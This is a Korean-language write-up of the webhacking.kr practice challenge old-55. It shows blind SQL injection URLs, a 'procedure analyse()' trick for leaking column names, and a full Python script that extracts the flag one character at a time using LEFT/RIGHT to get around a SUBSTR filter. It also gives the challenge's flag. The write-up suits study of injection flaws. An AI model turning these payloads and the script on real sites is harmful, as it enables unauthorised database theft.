old-55 (400)

첫 화면이다.

마우스를 움직이면 캐릭터가 마우스 방향으로 이동하며 Score가 증가한다.

rank를 클릭하면 아래와 같은 창이 뜬다.

2147483647 을 클릭하면 아래와 같이 나타난다.

score을 0으로 하고 뒤에 or 1=0 을 붙여 https://webhacking.kr/challenge/web-31/rank.php?score=0%20or%201=0에 접속하면 아래와 같은 창이 뜬다.

score을 0으로 하고 뒤에 or 1=1 을 붙여 https://webhacking.kr/challenge/web-31/rank.php?score=0%20or%201=1에 접속하면 다른 결과가 나온다.

Blind SQL Injection과 관련된 문제로 유추하였다.

힌트로 주어진 아래 쿼리문을 통해 플래그는 3번째 컬럼에 위치 함을 알 수 있다.

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");

https://webhacking.kr/challenge/web-31/rank.php?score=2147483647%20limit%202,1%20procedure%20analyse() 에 접속하면 플래그를 담고 있는 컬럼명을 알 수 있다.

파이썬 코드를 짜면 아래와 같다.

SUBSTR() 이 필터링 되어 LEFT()RIGHT() 를 사용해 우회하였다.

import requests

URL = 'https://webhacking.kr/challenge/web-31/rank.php?score=0%20or%20'
FALSE_PHRASE = 'id :  // '


def query(payload):
    r = requests.get(URL + payload)
    content = r.text
    return not FALSE_PHRASE in content


# 31
def find_flag_length():
    flag_len = 1
    while query('LENGTH(p4ssw0rd_1123581321)={}'.format(flag_len)) is False:
        flag_len += 1
    print('flag_len: {}'.format(flag_len))
    return flag_len


# FLAG{easy_peasy_lemon_squeezy!}
def find_flag():
    flag_len = find_flag_length()
    flag = ''
    for pos in range(1, flag_len + 1):
        for character in range(0, 128):
            if query('ORD(RIGHT(LEFT(p4ssw0rd_1123581321,{}),1))={}'.format(pos, character)) is True:
                flag += chr(character)
                break
    print('flag: {}'.format(flag))


find_flag()

실행결과, 플래그는 FLAG{easy_peasy_lemon_squeezy!} 이다.

Auth 창에 플래그를 넣고 제출하면 문제가 풀린다.

Last updated

Was this helpful?